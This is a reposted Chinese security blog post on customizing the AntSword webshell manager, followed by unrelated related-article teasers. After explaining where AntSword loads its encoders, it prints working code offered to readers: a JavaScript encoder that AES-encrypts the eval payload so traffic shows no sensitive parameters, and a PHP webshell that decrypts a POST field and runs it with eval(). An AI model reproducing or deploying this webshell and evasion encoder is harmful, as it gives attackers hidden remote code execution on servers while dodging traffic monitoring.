【安全工具】蚁剑二开:添加自定义编码/解码器

news/2024/12/25 22:15:06/文章来源:https://www.cnblogs.com/o-O-oO/p/18631532

以下文章来源于Spade sec ,作者0xsdeo

前言

我大概已经写了两三个月关于JS逆向的文章,正好前两天抽空研究了一下关于蚁剑如何添加编码/解码器,所以年底这几天就分享一些关于安全的内容,应该也是我放假前的最后两篇文章。

注:本人目前没有看过任何关于蚁剑二开文章,以下内容纯是我自己摸索出来的,如有错误请各位指出。

正文

蚁剑一般会为每个支持的语言提供了几个编码/解码器,比如我这里就拿php来说:

我就拿base64编码器对比一下未编码和编码后的区别
未编码前

编码后

效果还是有的,但是流量中依然能看到执行的命令,按我的想法是如果能将执行的语句也加密一下,php再解密,这样效果就变得很好了。我们都知道蚁剑是通过加载器加载源码打开的,这种做法极其利于我们对蚁剑的二次开发:

所以这里我先感谢一下开发者这一做法,无疑是给我们提供了巨大帮助。

但是我们得自己定位一下是哪里加载的编码/解码器,在蚁剑中每个语言都有相对应存放编码/解码器的目录:

我们可以看到在蚁剑源码source/core目录下有很多个编程语言,这些都是蚁剑支持的连接语言,这里我就拿php举例:

php目录下存在decoderencoder两个目录,前者是存放解码器的,后者反之,另外根目录下还有一个index.js,该js中就有关于加载编码/解码器的代码:

第53行和第57行是获取编码/解码器的,这两个数组里的编码/解码器默认是和encoder和decoder下的编码/解码器文件保持一致的,所以如果我们想要添加自己的编码/解码器就得添加相对应的文件,比如我这里添加一个test编码/解码器就直接写进这两个数组里就行:

但是从上文中我们可以获知我们还得向encoderdecoder两个目录添加相对应的编码/解码器文件,比如base64:

这里我直接复制base64编码/解码器文件,并重命名为test:

重启一下蚁剑看看效果:

可见重启后就已经加载了我们的test编码/解码器,先验证一下看看是不是base64编码的:

和上面经过base64编码器编码后的流量一致,现在我们就成功自定义了一个编码/解码器。

每个语言下都有一个index.js,我们也可以从上文中知道这个js的用处,现在我将蚁剑支持的所有语言的index.js路径都写在下面:

  • asp:source/core/asp/index.js

  • aspx:source/core/aspx/index.js

  • aspxcsharp:source/core/aspxcsharp/index.js

  • cmdlinux:source/core/cmdlinux/index.js

  • custom:source/core/custom/index.js

  • jsp:source/core/jsp/index.js

  • jspjs:source/core/jspjs/index.js

  • php:source/core/php/index.js

  • php4:source/core/php4/index.js

  • phpraw:source/core/phpraw/index.js

Demo

这一节就是简单给大家看一下我自己修改的编码器,后期还会详细发一篇关于蚁剑如何魔改编码/解码器的文章,不选择今天这篇文章是因为我自己现在还没怎么研究过这些编码/解码器里面的一些参数都是干什么的。

我具体就是修改了一下base64编码器,将俗称的webshell连接密码的参数值在编码器里进行了aes加密,然后后端接收到后先进行aes解密再做它原本要做的。

因为我自己对这些加密解密不太了解,所以代码是由Copilot生成的,然后我自己进行了一些修改适配。

js

php

蚁剑看下效果:

现在请求的内容就没有那些比较敏感的参数了。

code

下面我把代码发出来供大家参考,编码器:

/*** php::base64编码器* ? 利用php的base64_decode进行编码处理*/'use strict';module.exports = (pwd, data, ext = null) => {// 生成一个随机变量名let randomID;if (ext.opts.otherConf['use-random-variable'] === 1) {randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);} else {randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;}data[randomID] = Buffer.from(data['_']).toString('base64');const crypto = require('crypto');const key = Buffer.from('12345678901234567890123456789012'); // 32 bytes keyconst iv = Buffer.from('1234567890123456'); // 16 bytes IVfunction encrypt(text) {const cipher = crypto.createCipheriv('aes-256-cbc', key, iv);let encrypted = cipher.update(text, 'utf8', 'base64');encrypted += cipher.final('base64');return encrypted;}data[pwd] = encrypt(`@eval(@base64_decode($_POST['${randomID}']));`);delete data['_'];return data;
}

shell

<?php
$key = '12345678901234567890123456789012'; // 32 bytes key
$iv = '1234567890123456'; // 16 bytes IVfunction decrypt($encryptedText) {global $key, $iv;$data = base64_decode($encryptedText);$decrypted = openssl_decrypt($data, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);return $decrypted;
}
$decryptedText = decrypt($_POST['encrypt']);eval($decryptedText);

注:解码器使用base64即可,另外使用前请自行向index.js添加编码器。

原文🔗

https://mp.weixin.qq.com/s?__biz=MzU0MTc2NTExNg==&mid=2247491289&idx=1&sn=458b4ba62019a7da6af2f1c01da15989&chksm=fb25a24acc522b5cfd544fea354860642e8fbf2b73127e388f181d6d6d9233ddb0d5314cad6d#rd

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/858874.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【项目推荐】搭建自己的个人主页

你是否想过将自己的简历做成一个单页面的网站?在这个网站上可以自定义你想展示的内容,不只求职信息,求偶信息也可以!试试下面的代码吧。 本文首发于微信公众号 呼哧好大枫,原作者与本文作者系同一人。项目地址:http://hlt.cab/ 代码开源地址:中文:https://gitee.com/kk…

vue3 vite使用postcss-px-to-viewport 实现页面自适应

三、如何在 Vue3 中使用 postcss-px-to-viewport? 首先,我们需要安装相关的插件: npm install postcss-px-to-viewport -D 在vite.config.js文件中进行配置 import vue from @vitejs/plugin-vue // vite.config.ts import { defineConfig } from vite import AutoImport fro…

基于BP译码的LDPC误码率matlab仿真,分析不同码长,码率,迭代次数以及信道类型对译码性能的影响

1.算法仿真效果 matlab2022a仿真结果如下(完整代码运行后无水印): 仿真操作步骤可参考程序配套的操作视频。2.算法涉及理论知识概要低密度奇偶校验码(Low-Density Parity-Check Codes,LDPC)是一种具有逼近香农限性能的信道编码技术。在现代通信系统中,LDPC 码因其优异的…

PTA 两次大作业总结:详细分析与实践经验

PTA 两次大作业总结:详细分析与实践经验 前言 回顾这次的家居强电电路模拟程序大作业,它无疑是一段充满挑战与收获的编程与设计旅程。从最初的基础电路组件建模,到后期复杂的多设备互联与控制反馈,每一步都考验着我的技术能力和解决问题的智慧。这不仅让我深入掌握了诸多编…

Go init()使用详解

持续创作,加速成长!这是我参与「掘金日新计划 10 月更文挑战」的第1天,点击查看活动详情 1. init()的使用 见名知意,init()是Go中的初始化函数。我们都知道,main()函数是Go程序启动的入口,而init()函数就是在main()之前,起到一个初始化的作用。 Go代码解读 复制代码pa…

LangGraph:基于图结构的大模型智能体开发框架

LangGraph 是LangChainAI开发的一个工具库,用于创建代理和多代理智能体工作流。它提供了以下核心优势:周期、可控性和持久性,对于Agent智能体开发者来说无疑减少了许多工作量。以下篇幅仅从本人角度阐述LangGraph在开发过程中的亮点以及使用方法。 基本介绍 LangGraph的Stat…

P7302 [NOI1998] 免费的馅饼

P7302 [NOI1998] 免费的馅饼 题目描述 SERKOI 最新推出了一种叫做“免费馅饼”的游戏:游戏在一个舞台上进行。舞台的宽度为 \(w\) 格(从左到右依次用 \(1\) 到 \(w\) 编号),游戏者占一格。开始时游戏者可以站在舞台的任意位置,手里拿着一个托盘。下图为天幕的高度为 \(4\)…

CSRF跨站请求伪造攻击详解

本文为《白帽子Web讲安全(第2版)》——跨站请求伪造(CSRF)章节的阅读总结及摘录,详述了CSRF攻击的定义及防御方法等。一、CSRF攻击概述 1.1 CSRF攻击定义用户浏览器加载恶意网站时,浏览器中的恶意网站页面向另一目标网站自主发起一个恶意HTTP请求,该攻击方式即为CSRF攻击。…

R数据分析:工具变量回归的做法和解释,实例解析

前几天看了个视频,是2024年诺贝尔经济学奖得主在分享自己的研究,研究问题是“制度如何形成并影响经济繁荣”,在研究这个问题的时候他的PPT中提到研究的统计过程中用到了工具变量,想着再次大家介绍一下这个方法。说不定利用这个方法,哪天我的读者里面也出个诺贝尔奖得主呢,…

昆工25考研复试时间预测(信自院)

昆工昆明理工大学、计算机技术、人工智能、软件工程、网络空间安全、891计算机专业核心综合、计算机系统结构、计算机软件与理论、计算机应用技术、通信工程、817信号与系统、信号与信息处理、通信与信息系统、通信工程(含宽带网络、移动通信等)

WebP图片格式

WebP WebP 是一种图片文件格式,由 Google 开发,用于提供更好的图像压缩性能。支持有损压缩和无损压缩,同时支持透明度(类似 PNG 格式的 alpha 通道)和动画(类似 GIF 格式)。 WebP特点高效压缩 •有损压缩:与 JPEG 相比,WebP 的文件体积更小,同时保持类似的图像质量。…

谁让你创建两个对象的?

如果CLASSPATH下有两个不同版本的jar包,一个版本的jar包有@Component注解,另外一个版本没有,Spring到底会不会创建Bean?问题现象 之前遇到过一个问题,在一个微服务的目录下有相同功能 jar 包的两个不同的版本,其中一个版本里面的类有 @Component 注解,另外一个版本的类里…